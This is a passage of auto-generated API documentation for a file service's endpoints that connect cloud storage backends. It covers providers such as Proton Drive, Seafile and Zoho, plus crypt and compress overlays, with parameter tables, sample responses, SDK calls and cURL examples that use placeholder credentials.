| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `chunk_size` | string | No | `"10485760"` | Files will be uploaded in chunks of this size. |
| `description` | string | No | `""` | Description of the remote. |
| `encoding` | string | No | `"62007182"` | The encoding for the backend. |
| `password` | string | **Yes** | `""` | OpenDrive password. |
| `username` | string | **Yes** | `""` | OpenDrive username. |

### Response



```json
{
  "data": {
    "backend_type": "opendrive",
    "id": "bnd_opendrive_1f5c8a2d4b7e3a9c",
    "mount_paths": [],
    "type": "backend"
  },
  "message": "OpenDrive backend connected successfully",
  "success": true
}
```


```json
{
  "error": "Fields 'username' and 'password' are required",
  "success": false
}
```



### SDK

```typescript
await client.files.backends.connectOpendrive({
  username: "alice",
  password: "opendrive-password"
});
```

### cURL

```bash
curl -X POST https://api.hoody.com/api/v1/backends/opendrive \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "username": "alice",
    "password": "opendrive-password"
  }'
```

---

## Pcloud

Connect a Pcloud account. Supports EU and US regions.

### `POST /api/v1/backends/pcloud`

This endpoint takes no parameters.

### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `auth_url` | string | No | `""` | Auth server URL. Leave blank to use provider defaults. |
| `client_credentials` | boolean | No | `false` | Use OAuth2 client credentials flow. |
| `client_id` | string | No | `""` | OAuth Client Id. Leave blank normally. |
| `client_secret` | string | No | `""` | OAuth Client Secret. Leave blank normally. |
| `description` | string | No | `""` | Description of the remote. |
| `encoding` | string | No | `"50438146"` | The encoding for the backend. |
| `hostname` | string | No | `"api.pcloud.com"` | Hostname to connect to. One of: `api.pcloud.com`, `eapi.pcloud.com`. |
| `password` | string | No | `""` | Your Pcloud password. |
| `root_folder_id` | string | No | `"d0"` | Use a non-root folder as the starting point. |
| `token` | string | No | `""` | OAuth Access Token as a JSON blob. |
| `token_url` | string | No | `""` | Token server URL. Leave blank to use provider defaults. |
| `username` | string | No | `""` | Your Pcloud username (only required for the cleanup command). |

### Response



```json
{
  "data": {
    "backend_type": "pcloud",
    "id": "bnd_pcloud_3c7a9e2b1d5f8c4a",
    "mount_paths": [],
    "type": "backend"
  },
  "message": "Pcloud backend connected successfully",
  "success": true
}
```


```json
{
  "error": "Invalid hostname",
  "success": false
}
```



### SDK

```typescript
await client.files.backends.connectPcloud({
  hostname: "api.pcloud.com",
  root_folder_id: "d0"
});
```

### cURL

```bash
curl -X POST https://api.hoody.com/api/v1/backends/pcloud \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "hostname": "api.pcloud.com",
    "root_folder_id": "d0"
  }'
```

---

## PikPak

Connect a PikPak account. **Required:** PikPak username and password.

### `POST /api/v1/backends/pikpak`

This endpoint takes no parameters.

### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `chunk_size` | string | No | `"5242880"` | Chunk size for multipart uploads. |
| `description` | string | No | `""` | Description of the remote. |
| `device_id` | string | No | `""` | Device ID used for authorization. |
| `encoding` | string | No | `"56829838"` | The encoding for the backend. |
| `hash_memory_limit` | string | No | `"10485760"` | Files larger than this are cached on disk for hashing. |
| `no_media_link` | boolean | No | `false` | Use original file links instead of media links. |
| `pass` | string | **Yes** | `""` | PikPak password. |
| `root_folder_id` | string | No | `""` | ID of the root folder. Leave blank normally. |
| `trashed_only` | boolean | No | `false` | Only show files in the trash. |
| `upload_concurrency` | integer | No | `5` | Concurrency for multipart uploads. |
| `use_trash` | boolean | No | `true` | Send files to trash instead of permanently deleting. |
| `user` | string | **Yes** | `""` | PikPak username. |
| `user_agent` | string | No | `"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0"` | HTTP user agent for PikPak. |

### Response



```json
{
  "data": {
    "backend_type": "pikpak",
    "id": "bnd_pikpak_6e2c4a8b1f9d3e5a",
    "mount_paths": [],
    "type": "backend"
  },
  "message": "PikPak backend connected successfully",
  "success": true
}
```


```json
{
  "error": "PikPak authentication failed",
  "success": false
}
```



### SDK

```typescript
await client.files.backends.connectPikpak({
  user: "alice@example.com",
  pass: "pikpak-password",
  upload_concurrency: 4
});
```

### cURL

```bash
curl -X POST https://api.hoody.com/api/v1/backends/pikpak \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "user": "alice@example.com",
    "pass": "pikpak-password",
    "upload_concurrency": 4
  }'
```

---

## Pixeldrain Filesystem

Connect a Pixeldrain account. **Required:** `api_url` (use the default unless testing against a custom instance).

### `POST /api/v1/backends/pixeldrain`

This endpoint takes no parameters.

### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `api_key` | string | No | `""` | API key for your Pixeldrain account (from `https://pixeldrain.com/user/api_keys`). |
| `api_url` | string | **Yes** | `"https://pixeldrain.com/api"` | The API endpoint to connect to. |
| `description` | string | No | `""` | Description of the remote. |
| `root_folder_id` | string | No | `"me"` | Root of the filesystem. Use `me` for your personal filesystem, or a shared directory ID. |

### Response



```json
{
  "data": {
    "backend_type": "pixeldrain",
    "id": "bnd_pixeldrain_8a4f1c2e7b9d3a5f",
    "mount_paths": [],
    "type": "backend"
  },
  "message": "Pixeldrain backend connected successfully",
  "success": true
}
```


```json
{
  "error": "Field 'api_url' is required",
  "success": false
}
```



### SDK

```typescript
await client.files.backends.connectPixeldrain({
  api_url: "https://pixeldrain.com/api",
  api_key: "your-pixeldrain-api-key",
  root_folder_id: "me"
});
```

### cURL

```bash
curl -X POST https://api.hoody.com/api/v1/backends/pixeldrain \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "api_url": "https://pixeldrain.com/api",
    "api_key": "your-pixeldrain-api-key",
    "root_folder_id": "me"
  }'
```

---

## premiumize.me

Connect a premiumize.me account.

### `POST /api/v1/backends/premiumizeme`

This endpoint takes no parameters.

### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `api_key` | string | No | `""` | API key (not normally used — use OAuth instead). |
| `auth_url` | string | No | `""` | Auth server URL. Leave blank to use provider defaults. |
| `client_credentials` | boolean | No | `false` | Use OAuth2 client credentials flow. |
| `client_id` | string | No | `""` | OAuth Client Id. Leave blank normally. |
| `client_secret` | string | No | `""` | OAuth Client Secret. Leave blank normally. |
| `description` | string | No | `""` | Description of the remote. |
| `encoding` | string | No | `"50438154"` | The encoding for the backend. |
| `token` | string | No | `""` | OAuth Access Token as a JSON blob. |
| `token_url` | string | No | `""` | Token server URL. Leave blank to use provider defaults. |

### Response



```json
{
  "data": {
    "backend_type": "premiumizeme",
    "id": "bnd_premiumizeme_2d5a8c1b9e3f4a7c",
    "mount_paths": [],
    "type": "backend"
  },
  "message": "premiumize.me backend connected successfully",
  "success": true
}
```


```json
{
  "error": "OAuth flow required to obtain a token",
  "success": false
}
```



### SDK

```typescript
await client.files.backends.connectPremiumizeme({});
```

### cURL

```bash
curl -X POST https://api.hoody.com/api/v1/backends/premiumizeme \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{}'
```

---

## Proton Drive

Connect a Proton Drive account. **Required:** username and password. Supports two-factor authentication and mailbox passwords for accounts that use separate login and mailbox passwords.

### `POST /api/v1/backends/protondrive`

This endpoint takes no parameters.

### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `2fa` | string | No | `""` | The 2FA code (e.g. `000000`). |
| `app_version` | string | No | `"macos-drive@1.0.0-alpha.1+hoody-vfs"` | App version string sent with API requests. |
| `client_access_token` | string | No | `""` | Client access token key (internal use only). |
| `client_refresh_token` | string | No | `""` | Client refresh token key (internal use only). |
| `client_salted_key_pass` | string | No | `""` | Client salted key pass (internal use only). |
| `client_uid` | string | No | `""` | Client uid (internal use only). |
| `description` | string | No | `""` | Description of the remote. |
| `enable_caching` | boolean | No | `true` | Cache files and folders metadata to reduce API calls. |
| `encoding` | string | No | `"52559874"` | The encoding for the backend. |
| `mailbox_password` | string | No | `""` | Mailbox password (for two-password Proton accounts). |
| `original_file_size` | boolean | No | `true` | Return the file size before encryption. |
| `password` | string | **Yes** | `""` | The password of your Proton account. |
| `replace_existing_draft` | boolean | No | `false` | Create a new revision when filename conflict is detected. |
| `username` | string | **Yes** | `""` | The username of your Proton account. |


If you are using Proton Drive as a VFS mount, disable `enable_caching`. The current implementation does not refresh the cache when there are external changes, which will cause stale data.


### Response



```json
{
  "data": {
    "backend_type": "protondrive",
    "id": "bnd_protondrive_4b9e3a7c2f1d5e8a",
    "mount_paths": [],
    "type": "backend"
  },
  "message": "Proton Drive backend connected successfully",
  "success": true
}
```


```json
{
  "error": "Two-factor authentication required; provide '2fa'",
  "success": false
}
```



### SDK

```typescript
await client.files.backends.connectProtondrive({
  username: "alice@proton.me",
  password: "login-password",
  mailbox_password: "mailbox-password",
  enable_caching: false
});
```

### cURL

```bash
curl -X POST https://api.hoody.com/api/v1/backends/protondrive \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "username": "alice@proton.me",
    "password": "login-password",
    "mailbox_password": "mailbox-password",
    "enable_caching": false
  }'
```

---

## Put.io

Connect a Put.io account.

### `POST /api/v1/backends/putio`

This endpoint takes no parameters.

### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `auth_url` | string | No | `""` | Auth server URL. Leave blank to use provider defaults. |
| `client_credentials` | boolean | No | `false` | Use OAuth2 client credentials flow. |
| `client_id` | string | No | `""` | OAuth Client Id. Leave blank normally. |
| `client_secret` | string | No | `""` | OAuth Client Secret. Leave blank normally. |
| `description` | string | No | `""` | Description of the remote. |
| `encoding` | string | No | `"50438146"` | The encoding for the backend. |
| `token` | string | No | `""` | OAuth Access Token as a JSON blob. |
| `token_url` | string | No | `""` | Token server URL. Leave blank to use provider defaults. |

### Response



```json
{
  "data": {
    "backend_type": "putio",
    "id": "bnd_putio_5f1c8a3b9e2d4c7a",
    "mount_paths": [],
    "type": "backend"
  },
  "message": "Put.io backend connected successfully",
  "success": true
}
```


```json
{
  "error": "OAuth flow required to obtain a token",
  "success": false
}
```



### SDK

```typescript
await client.files.backends.connectPutio({});
```

### cURL

```bash
curl -X POST https://api.hoody.com/api/v1/backends/putio \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{}'
```

---

## Quatrix by Maytech

Connect a Quatrix (by Maytech) account. **Required:** API key and host.

### `POST /api/v1/backends/quatrix`

This endpoint takes no parameters.

### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `api_key` | string | **Yes** | `""` | API key for accessing the Quatrix account. |
| `description` | string | No | `""` | Description of the remote. |
| `effective_upload_time` | string | No | `"4s"` | Wanted upload time for one chunk. |
| `encoding` | string | No | `"50438146"` | The encoding for the backend. |
| `hard_delete` | boolean | No | `false` | Delete files permanently rather than trashing. |
| `host` | string | **Yes** | `""` | Host name of the Quatrix account. |
| `maximal_summary_chunk_size` | string | No | `"100000000"` | The maximal summary for all chunks (should be >= `transfers * minimal_chunk_size`). |
| `minimal_chunk_size` | string | No | `"10000000"` | The minimal size for one chunk. |
| `skip_project_folders` | boolean | No | `false` | Skip project folders in operations. |

### Response



```json
{
  "data": {
    "backend_type": "quatrix",
    "id": "bnd_quatrix_7a4c2e9b1d3f8a5c",
    "mount_paths": [],
    "type": "backend"
  },
  "message": "Quatrix backend connected successfully",
  "success": true
}
```


```json
{
  "error": "Fields 'api_key' and 'host' are required",
  "success": false
}
```



### SDK

```typescript
await client.files.backends.connectQuatrix({
  host: "acme.quatrix.io",
  api_key: "your-quatrix-api-key"
});
```

### cURL

```bash
curl -X POST https://api.hoody.com/api/v1/backends/quatrix \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "host": "acme.quatrix.io",
    "api_key": "your-quatrix-api-key"
  }'
```

---

## Seafile

Connect a Seafile server. **Required:** `url` and `user`. Supports 2FA and encrypted libraries.

### `POST /api/v1/backends/seafile`

This endpoint takes no parameters.

### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `2fa` | boolean | No | `false` | `true` if the account has 2FA enabled. |
| `auth_token` | string | No | `""` | Authentication token. |
| `create_library` | boolean | No | `false` | Create a library if it doesn't exist. |
| `description` | string | No | `""` | Description of the remote. |
| `encoding` | string | No | `"16850954"` | The encoding for the backend. |
| `library` | string | No | `""` | Name of the library. Leave blank to access all non-encrypted libraries. |
| `library_key` | string | No | `""` | Library password (for encrypted libraries only). |
| `pass` | string | No | `""` | Seafile password. |
| `url` | string | **Yes** | `""` | URL of the Seafile host. One of: `https://cloud.seafile.com/`. |
| `user` | string | **Yes** | `""` | User name (usually email). |

### Response



```json
{
  "data": {
    "backend_type": "seafile",
    "id": "bnd_seafile_3f8b1c4a2e7d9a5c",
    "mount_paths": [],
    "type": "backend"
  },
  "message": "Seafile backend connected successfully",
  "success": true
}
```


```json
{
  "error": "Fields 'url' and 'user' are required",
  "success": false
}
```



### SDK

```typescript
await client.files.backends.connectSeafile({
  url: "https://cloud.seafile.com/",
  user: "alice@example.com",
  pass: "seafile-password",
  library: "Documents"
});
```

### cURL

```bash
curl -X POST https://api.hoody.com/api/v1/backends/seafile \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "url": "https://cloud.seafile.com/",
    "user": "alice@example.com",
    "pass": "seafile-password",
    "library": "Documents"
  }'
```

---

## Citrix Sharefile

Connect a Citrix Sharefile account. Use the `root_folder_id` field to target a specific folder (e.g. `favorites`, `allshared`).

### `POST /api/v1/backends/sharefile`

This endpoint takes no parameters.

### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `auth_url` | string | No | `""` | Auth server URL. Leave blank to use provider defaults. |
| `chunk_size` | string | No | `"67108864"` | Upload chunk size (power of 2, >= 256 KiB). |
| `client_credentials` | boolean | No | `false` | Use OAuth2 client credentials flow. |
| `client_id` | string | No | `""` | OAuth Client Id. Leave blank normally. |
| `client_secret` | string | No | `""` | OAuth Client Secret. Leave blank normally. |
| `description` | string | No | `""` | Description of the remote. |
| `encoding` | string | No | `"57091982"` | The encoding for the backend. |
| `endpoint` | string | No | `""` | Endpoint for API calls (e.g. `https://XXX.sharefile.com`). |
| `root_folder_id` | string | No | `""` | ID of the root folder. One of: `` (empty, personal folders), `favorites`, `allshared`, `connectors`, `top`. |
| `token` | string | No | `""` | OAuth Access Token as a JSON blob. |
| `token_url` | string | No | `""` | Token server URL. Leave blank to use provider defaults. |
| `upload_cutoff` | string | No | `"134217728"` | Cutoff for switching to multipart upload. |

### Response



```json
{
  "data": {
    "backend_type": "sharefile",
    "id": "bnd_sharefile_9c1a4e7b2d5f8a3c",
    "mount_paths": [],
    "type": "backend"
  },
  "message": "Citrix Sharefile backend connected successfully",
  "success": true
}
```


```json
{
  "error": "Invalid root_folder_id value",
  "success": false
}
```



### SDK

```typescript
await client.files.backends.connectSharefile({
  root_folder_id: "favorites"
});
```

### cURL

```bash
curl -X POST https://api.hoody.com/api/v1/backends/sharefile \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "root_folder_id": "favorites"
  }'
```

---

## Sugarsync

Connect a Sugarsync account. Most authentication fields are managed automatically after the first OAuth handshake.

### `POST /api/v1/backends/sugarsync`

This endpoint takes no parameters.

### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `access_key_id` | string | No | `""` | Sugarsync Access Key ID. Leave blank to use Hoody's. |
| `app_id` | string | No | `""` | Sugarsync App ID. Leave blank to use Hoody's. |
| `authorization` | string | No | `""` | Sugarsync authorization (managed automatically). |
| `authorization_expiry` | string | No | `""` | Sugarsync authorization expiry (managed automatically). |
| `deleted_id` | string | No | `""` | Sugarsync deleted folder id (managed automatically). |
| `description` | string | No | `""` | Description of the remote. |
| `encoding` | string | No | `"50397186"` | The encoding for the backend. |
| `hard_delete` | boolean | No | `false` | Permanently delete files instead of using the deleted files folder. |
| `private_access_key` | string | No | `""` | Sugarsync Private Access Key. Leave blank to use Hoody's. |
| `refresh_token` | string | No | `""` | Sugarsync refresh token (managed automatically). |
| `root_id` | string | No | `""` | Sugarsync root id (managed automatically). |
| `user` | string | No | `""` | Sugarsync user (managed automatically). |

### Response



```json
{
  "data": {
    "backend_type": "sugarsync",
    "id": "bnd_sugarsync_6d3a8c1b4e7f2a9d",
    "mount_paths": [],
    "type": "backend"
  },
  "message": "Sugarsync backend connected successfully",
  "success": true
}
```


```json
{
  "error": "OAuth flow required to populate credentials",
  "success": false
}
```



### SDK

```typescript
await client.files.backends.connectSugarsync({});
```

### cURL

```bash
curl -X POST https://api.hoody.com/api/v1/backends/sugarsync \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{}'
```

---

## Uloz.to

Connect a Uloz.to account.

### `POST /api/v1/backends/ulozto`

This endpoint takes no parameters.

### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `app_token` | string | No | `""` | Uloz.to app API key (from the API doc or customer service). |
| `description` | string | No | `""` | Description of the remote. |
| `encoding` | string | No | `"50438146"` | The encoding for the backend. |
| `list_page_size` | integer | No | `500` | The size of a single page for list commands (1–500). |
| `password` | string | No | `""` | The password for the user. |
| `root_folder_slug` | string | No | `""` | Folder slug to use as the root for all operations. |
| `username` | string | No | `""` | The username of the principal to operate as. |

### Response



```json
{
  "data": {
    "backend_type": "ulozto",
    "id": "bnd_ulozto_1c9a4e7b2d5f8a3c",
    "mount_paths": [],
    "type": "backend"
  },
  "message": "Uloz.to backend connected successfully",
  "success": true
}
```


```json
{
  "error": "Invalid list_page_size: must be 1-500",
  "success": false
}
```



### SDK

```typescript
await client.files.backends.connectUlozto({
  username: "alice",
  password: "ulozto-password",
  app_token: "uloz-app-token",
  list_page_size: 250
});
```

### cURL

```bash
curl -X POST https://api.hoody.com/api/v1/backends/ulozto \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "username": "alice",
    "password": "ulozto-password",
    "app_token": "uloz-app-token",
    "list_page_size": 250
  }'
```

---

## Uptobox

Connect an Uptobox account using an access token from your Uptobox account page.

### `POST /api/v1/backends/uptobox`

This endpoint takes no parameters.

### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `access_token` | string | No | `""` | Your Uptobox access token (from `https://uptobox.com/my_account`). |
| `description` | string | No | `""` | Description of the remote. |
| `encoding` | string | No | `"50561070"` | The encoding for the backend. |
| `private` | boolean | No | `false` | Make uploaded files private. |

### Response



```json
{
  "data": {
    "backend_type": "uptobox",
    "id": "bnd_uptobox_2e7b4c9a1d3f8a5c",
    "mount_paths": [],
    "type": "backend"
  },
  "message": "Uptobox backend connected successfully",
  "success": true
}
```


```json
{
  "error": "Invalid access token",
  "success": false
}
```



### SDK

```typescript
await client.files.backends.connectUptobox({
  access_token: "your-uptobox-token",
  private: false
});
```

### cURL

```bash
curl -X POST https://api.hoody.com/api/v1/backends/uptobox \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "access_token": "your-uptobox-token",
    "private": false
  }'
```

---

## Yandex Disk

Connect a Yandex Disk account.

### `POST /api/v1/backends/yandex`

This endpoint takes no parameters.

### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `auth_url` | string | No | `""` | Auth server URL. Leave blank to use provider defaults. |
| `client_credentials` | boolean | No | `false` | Use OAuth2 client credentials flow. |
| `client_id` | string | No | `""` | OAuth Client Id. Leave blank normally. |
| `client_secret` | string | No | `""` | OAuth Client Secret. Leave blank normally. |
| `description` | string | No | `""` | Description of the remote. |
| `encoding` | string | No | `"50429954"` | The encoding for the backend. |
| `hard_delete` | boolean | No | `false` | Delete files permanently rather than moving to trash. |
| `spoof_ua` | boolean | No | `true` | Set the user agent to match an official Yandex Disk client. |
| `token` | string | No | `""` | OAuth Access Token as a JSON blob. |
| `token_url` | string | No | `""` | Token server URL. Leave blank to use provider defaults. |

### Response



```json
{
  "data": {
    "backend_type": "yandex",
    "id": "bnd_yandex_8b2d5c1e7a9f3a4c",
    "mount_paths": [],
    "type": "backend"
  },
  "message": "Yandex Disk backend connected successfully",
  "success": true
}
```


```json
{
  "error": "OAuth flow required to obtain a token",
  "success": false
}
```



### SDK

```typescript
await client.files.backends.connectYandex({
  hard_delete: false,
  spoof_ua: true
});
```

### cURL

```bash
curl -X POST https://api.hoody.com/api/v1/backends/yandex \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "hard_delete": false,
    "spoof_ua": true
  }'
```

---

## Zoho

Connect a Zoho WorkDrive account. Use the `region` field to target the correct Zoho region for your organization.

### `POST /api/v1/backends/zoho`

This endpoint takes no parameters.

### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `auth_url` | string | No | `""` | Auth server URL. Leave blank to use provider defaults. |
| `client_credentials` | boolean | No | `false` | Use OAuth2 client credentials flow. |
| `client_id` | string | No | `""` | OAuth Client Id. Leave blank normally. |
| `client_secret` | string | No | `""` | OAuth Client Secret. Leave blank normally. |
| `description` | string | No | `""` | Description of the remote. |
| `encoding` | string | No | `"16875520"` | The encoding for the backend. |
| `region` | string | No | `""` | Zoho region. One of: `com`, `eu`, `in`, `jp`, `com.cn`, `com.au`. |
| `token` | string | No | `""` | OAuth Access Token as a JSON blob. |
| `token_url` | string | No | `""` | Token server URL. Leave blank to use provider defaults. |
| `upload_cutoff` | string | No | `"10485760"` | Cutoff for switching to large file upload API (min 10 MiB). |

### Response



```json
{
  "data": {
    "backend_type": "zoho",
    "id": "bnd_zoho_4a8c1e3b7d2f9a5c",
    "mount_paths": [],
    "type": "backend"
  },
  "message": "Zoho backend connected successfully",
  "success": true
}
```


```json
{
  "error": "Invalid region: must be one of com, eu, in, jp, com.cn, com.au",
  "success": false
}
```



### SDK

```typescript
await client.files.backends.connectZoho({
  region: "com"
});
```

### cURL

```bash
curl -X POST https://api.hoody.com/api/v1/backends/zoho \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "region": "com"
  }'
```

---

# Encryption Layer

**Page:** api/files/mount/encryption

[Download Raw Markdown](./api/files/mount/encryption.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Encryption Layer

The encryption layer wraps a remote backend with transparent transforms: the `crypt` overlay encrypts file data and obfuscates filenames using a user-supplied password, and the `compress` overlay reduces payload size with gzip. These endpoints register a new overlay backend that sits in front of an existing remote. Use them when you need at-rest encryption, data reduction, or both stacked together.

Both endpoints return the newly registered backend identifier and its empty mount path list. Once connected, the backend can be mounted into the filesystem like any other remote.

---

### `POST /api/v1/backends/compress`

Connect a compress overlay in front of an existing remote. The remote argument must reference a previously registered backend (for example, a cloud drive or S3 bucket).

This endpoint takes no parameters.

#### Request Body

| Field | Type | Required | Default | Description |
|-------|------|----------|---------|-------------|
| `remote` | string | Yes | `""` | Remote to compress. |
| `description` | string | No | `""` | Description of the remote. |
| `level` | integer | No | `-1` | GZIP compression level (`-2` to `9`). `-1` is the default (equivalent to `5`) and is recommended. Levels `1`–`9` increase compression at the cost of speed; going past `6` generally offers diminishing returns. `-2` uses Huffman encoding only. `0` disables compression. |
| `mode` | string | No | `"gzip"` | Compression mode. Fixed to `gzip`. |
| `ram_cache_limit` | string | No | `"20971520"` | Files smaller than this limit (bytes) are cached in RAM before upload; larger files are cached on disk. Set this when the underlying remote rejects uploads of unknown size. |



```bash
curl -X POST https://api.hoody.com/api/v1/backends/compress \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "remote": "my-s3:bucket/logs",
    "description": "Gzip-compressed log archive",
    "level": 6,
    "ram_cache_limit": "52428800"
  }'
```


```typescript
await client.files.backends.connectCompress({
  data: {
    remote: "my-s3:bucket/logs",
    description: "Gzip-compressed log archive",
    level: 6,
    ram_cache_limit: "52428800"
  }
});
```


```json
{
  "success": true,
  "message": "Backend connected successfully",
  "data": {
    "id": "cmp_8f3a2b1c9d4e5f60",
    "type": "compress",
    "backend_type": "compress",
    "mount_paths": []
  }
}
```



#### Responses



Backend connected successfully.

```json
{
  "success": true,
  "message": "Backend connected successfully",
  "data": {
    "id": "cmp_8f3a2b1c9d4e5f60",
    "type": "compress",
    "backend_type": "compress",
    "mount_paths": []
  }
}
```


Connection failed. The referenced remote does not exist, the configuration is invalid, or the remote is already wrapped by a compress overlay.

```json
{
  "success": false,
  "error": "Remote 'my-s3:bucket/logs' not found"
}
```



---

### `POST /api/v1/backends/crypt`

Connect a crypt overlay in front of an existing remote. The crypt backend encrypts file data with a user-supplied password, optionally obfuscates filenames and directory names, and can be tuned for compatibility with case-sensitive or length-limited filesystems.

This endpoint takes no parameters.

#### Request Body

| Field | Type | Required | Default | Description |
|-------|------|----------|---------|-------------|
| `remote` | string | Yes | `""` | Remote to encrypt or decrypt. Typically `remote:path`, `remote:bucket`, or `remote:` (not recommended). |
| `password` | string | Yes | `""` | Password or passphrase used for encryption. |
| `description` | string | No | `""` | Description of the remote. |
| `directory_name_encryption` | boolean | No | `true` | Encrypt directory names. Has no effect when `filename_encryption` is `off`. |
| `filename_encoding` | string | No | `"base32"` | Encoding used for the encrypted filename. Choose based on whether the backend is case-sensitive and how it counts filename length. One of `base32`, `base64`, `base32768`. |
| `filename_encryption` | string | No | `"standard"` | Filename encryption mode. One of `standard`, `obfuscate`, `off`. |
| `no_data_encryption` | boolean | No | `false` | When `true`, file contents are stored unencrypted; only filenames are transformed. |
| `pass_bad_blocks` | boolean | No | `false` | Pass bad decryption blocks through as zeros. Recovery-only setting. |
| `password2` | string | No | `""` | Salt passphrase. Optional but recommended; should differ from `password`. |
| `server_side_across_configs` | boolean | No | `false` | Allow server-side operations (for example, copy) to work across different crypt configurations. Deprecated alias of `--server-side-across-configs`. |
| `show_mapping` | boolean | No | `false` | Log the decrypted-to-encrypted filename mapping for every listed file. |
| `strict_names` | boolean | No | `false` | Raise an error when an undecryptable filename is encountered. By default, a NOTICE is logged and listing continues. |
| `suffix` | string | No | `".bin"` | Override the default `.bin` suffix appended to encrypted files. Set to `none` for an empty suffix. |



```bash
curl -X POST https://api.hoody.com/api/v1/backends/crypt \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "remote": "my-s3:bucket/private",
    "description": "Encrypted personal archive",
    "password": "correct horse battery staple",
    "password2": "another salt phrase here",
    "filename_encryption": "standard",
    "filename_encoding": "base32",
    "directory_name_encryption": true,
    "suffix": ".bin"
  }'
```


```typescript
await client.files.backends.connectCrypt({
  data: {
    remote: "my-s3:bucket/private",
    description: "Encrypted personal archive",
    password: "correct horse battery staple",
    password2: "another salt phrase here",
    filename_encryption: "standard",
    filename_encoding: "base32",
    directory_name_encryption: true,
    suffix: ".bin"
  }
});
```


```json
{
  "success": true,
  "message": "Backend connected successfully",
  "data": {
    "id": "cry_2b7e4a91c0f83d65",
    "type": "crypt",
    "backend_type": "crypt",
    "mount_paths": []
  }
}
```



#### Responses



Backend connected successfully.

```json
{
  "success": true,
  "message": "Backend connected successfully",
  "data": {
    "id": "cry_2b7e4a91c0f83d65",
    "type": "crypt",
    "backend_type": "crypt",
    "mount_paths": []
  }
}
```


Connection failed. Typical causes: missing or empty `password`, unknown `remote`, invalid `filename_encoding`/`filename_encryption` value, or the remote is already wrapped by a crypt overlay.

```json
{
  "success": false,
  "error": "password is required and must be non-empty"
}
```




Stacking overlays is order-sensitive. A compress backend layered on top of a crypt backend is **not** equivalent to a crypt backend layered on top of compress. Encrypt first, then compress the encrypted bytes, unless you have a specific reason to do otherwise.

---

# Object Storage

**Page:** api/files/mount/object

[Download Raw Markdown](./api/files/mount/object.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



Object Storage backends let you mount remote storage systems — cloud object stores, S3-compatible providers, OpenStack Swift, and decentralized networks — as filesystems inside Hoody. Each provider has a dedicated `POST /api/v1/backends/{provider}` endpoint that accepts a provider-specific configuration object. On success, the API returns a backend identifier and the empty `mount_paths` array; the backend can then be mounted to a filesystem path. All endpoints return `201` on success and `400` on connection failure.


All endpoints on this page accept the configuration object directly in the request body. They take no path, query, or header parameters.


## Cloud Object Storage

### `POST /api/v1/backends/azureblob`

Microsoft Azure Blob Storage. Supports multiple authentication methods (account key, SAS, service principal, managed identity, Azure CLI) and configurable access tiers (hot, cool, cold, archive).

This endpoint takes no parameters.

#### Request Body

| Field | Type | Required | Default | Description |
|-------|------|----------|---------|-------------|
| `access_tier` | string | No | `""` | Access tier for blobs: `hot`, `cool`, `cold`, or `archive`. Leave blank to use the account default. |
| `account` | string | No | `""` | Azure Storage Account Name. Required unless using SAS URL or Emulator. |
| `archive_tier_delete` | boolean | No | `false` | Delete archive tier blobs before overwriting (required because archive blobs cannot be updated in place). |
| `chunk_size` | string | No | `"4194304"` | Upload chunk size in bytes. |
| `client_certificate_password` | string | No | `""` | Password for the certificate file (service principal with certificate). |
| `client_certificate_path` | string | No | `""` | Path to a PEM or PKCS12 certificate file. |
| `client_id` | string | No | `""` | Client ID for service principal or user authentication. |
| `client_secret` | string | No | `""` | Service principal client secret. |
| `client_send_certificate_chain` | boolean | No | `false` | Send the x5c certificate chain header on certificate-based auth. |
| `delete_snapshots` | string | No | `""` | How to deal with snapshots on blob deletion. One of `""`, `"include"`, `"only"`. |
| `description` | string | No | `""` | Description of the remote. |
| `directory_markers` | boolean | No | `false` | Upload empty objects ending in `/` to persist empty folders. |
| `disable_checksum` | boolean | No | `false` | Skip MD5 checksum calculation before upload. |
